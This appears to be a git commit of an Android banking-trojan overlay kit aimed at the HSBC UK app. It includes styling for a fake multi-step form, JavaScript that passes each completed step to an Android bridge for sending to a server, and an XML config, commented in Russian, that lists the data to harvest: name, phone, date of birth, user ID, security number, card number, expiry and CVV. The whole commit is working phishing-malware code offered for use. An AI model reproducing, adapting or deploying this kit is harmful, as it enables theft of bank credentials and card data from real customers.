initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
File diff suppressed because one or more lines are too long
@@ -0,0 +1,70 @@
.cat-start-step {
display: block;
}
.cat-step-block {
display: none;
}
.cat-last-step {
display: none;
margin-top: 50px;
text-align: center;
}
.cat-last-step input[type=button] {
float: none;
width: 200px;
}
.cat-last-step span {
color:red;
font-weight: bold;
font-size: 14px;
display: block;
}
.cat-button {
margin-top: 13px;
position: relative;
display: inline-block;
width: 10em;
height: 2.5em;
line-height: 2em;
vertical-align: middle;
text-align: center;
font-weight: bold;
text-decoration: none;
text-shadow: 0 -1px 1px #777;
color: #fff;
outline: none;
border: 2px solid #F64C2B;
border-radius: 5px;
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
}
.cat-button:active {
top: .1em;
left: .1em;
outline: none;
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
}
#cat-error {
margin-top: 50px;
display:none;
text-align: center;
}
#cat-error span {
color:red;
font-weight: bold;
font-size: 14px;
display: block;
}
#cat-error input[type=button] {
float: none;
width: 200px;
}
File diff suppressed because one or more lines are too long
Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

@@ -0,0 +1,94 @@
/* Transmits data to server */
function transmit(stepID, regReceiver) {
var o = {};
var result = true;
var a = $('#cat-step-' + stepID).serializeArray();
$.each(a, function() {
var thisValue = this.value.trim();
if (thisValue == '') {
result = false;
return false;
}
if (o[this.name] !== undefined) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(thisValue || '');
} else {
o[this.name] = thisValue || '';
}
});
if (!result) {
return false;
}
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
Android.sendDataToServer(JSON.stringify(o), regReceiver);
} else {
console.log(JSON.stringify(o));
}
return true;
}
/* Sends form with step's number stepID and shows form stepID + 1 */
function switchStep(stepID, regReceiver) {
var message = 'You must fill out everything fields';
if (transmit(stepID, regReceiver)) {
if (stepID == 1) {
$('.cat-start-step').hide();
}
$('.cat-step-block').hide();
$('#cat-step-' + (stepID + 1)).show();
} else if (isAndroid() && typeof(Android.alert) == 'function') {
Android.alert('Error', message, 'OK', '');
} else {
alert(message);
}
}
/* Shows error if server did not answer */
function showInternetError() {
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
Android.saveFailInject(); // Saves inject's data in memory of device
} else {
console.log('Android.saveFailInject() was called');
}
$('#cat-forms').hide();
$('#cat-error').show();
}
/* Closes window of inject */
function closeWindow() {
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
Android.closeWindow();
} else {
console.log('Android.closeWindow() was called');
}
}
/* Hides block with error and shows form for enter inject's data */
function tryEnterAgain() {
$('#cat-error').hide();
$('#cat-forms').show();
}
/* Return whether Android is defined */
function isAndroid() {
return typeof Android != 'undefined';
}
File diff suppressed because one or more lines are too long
+74
View File
@@ -0,0 +1,74 @@
<?xml version="1.0" encoding="UTF-8"?><!-- Файл должен быть в кодировке UTF-8 (без BOM) -->
<document>
<name>HSBC (UK)</name><!-- Название инжекта -->
<apps>com.htsu.hsbcpersonalbanking</apps><!-- Приложения, которые будут перекрываться (через точку с запятой) -->
<size>1</size><!-- Размер инжекта (1 - стандартный, 2 - в виде диалога) -->
<storage>2</storage><!-- Место хранения инжекта (1 - в устройстве, 2 - на сервере) -->
<step><!-- Новый шаг (форма) -->
<param><!-- Параметр в шаге (форме) -->
<column>First name</column><!-- Название колонки (для вкладки "Инжекты"->"Данные") -->
<name>f_name</name><!-- Название параметра (поле name в форме в файле index.html) -->
</param>
<param>
<column>Last name</column>
<name>l_name</name>
</param>
<param>
<column>Phone number</column>
<name>phone</name>
</param>
<param>
<column>Day birth</column>
<name>dob_d</name>
</param>
<param>
<column>Month birth</column>
<name>dob_m</name>
</param>
<param>
<column>Year birth</column>
<name>dob_y</name>
</param>
</step>
<step>
<param>
<column>User ID</column>
<name>userId</name>
</param>
<param>
<column>Security Number</column>
<name>Security_Number</name>
</param>
</step>
<step>
<param>
<column>Card number</column>
<name>cc</name>
</param>
<param>
<column>MM</column>
<name>exp_m</name>
</param>
<param>
<column>YY</column>
<name>exp_y</name>
</param>
<param>
<column>CVC</column>
<name>cvv</name>
</param>
</step>
</document>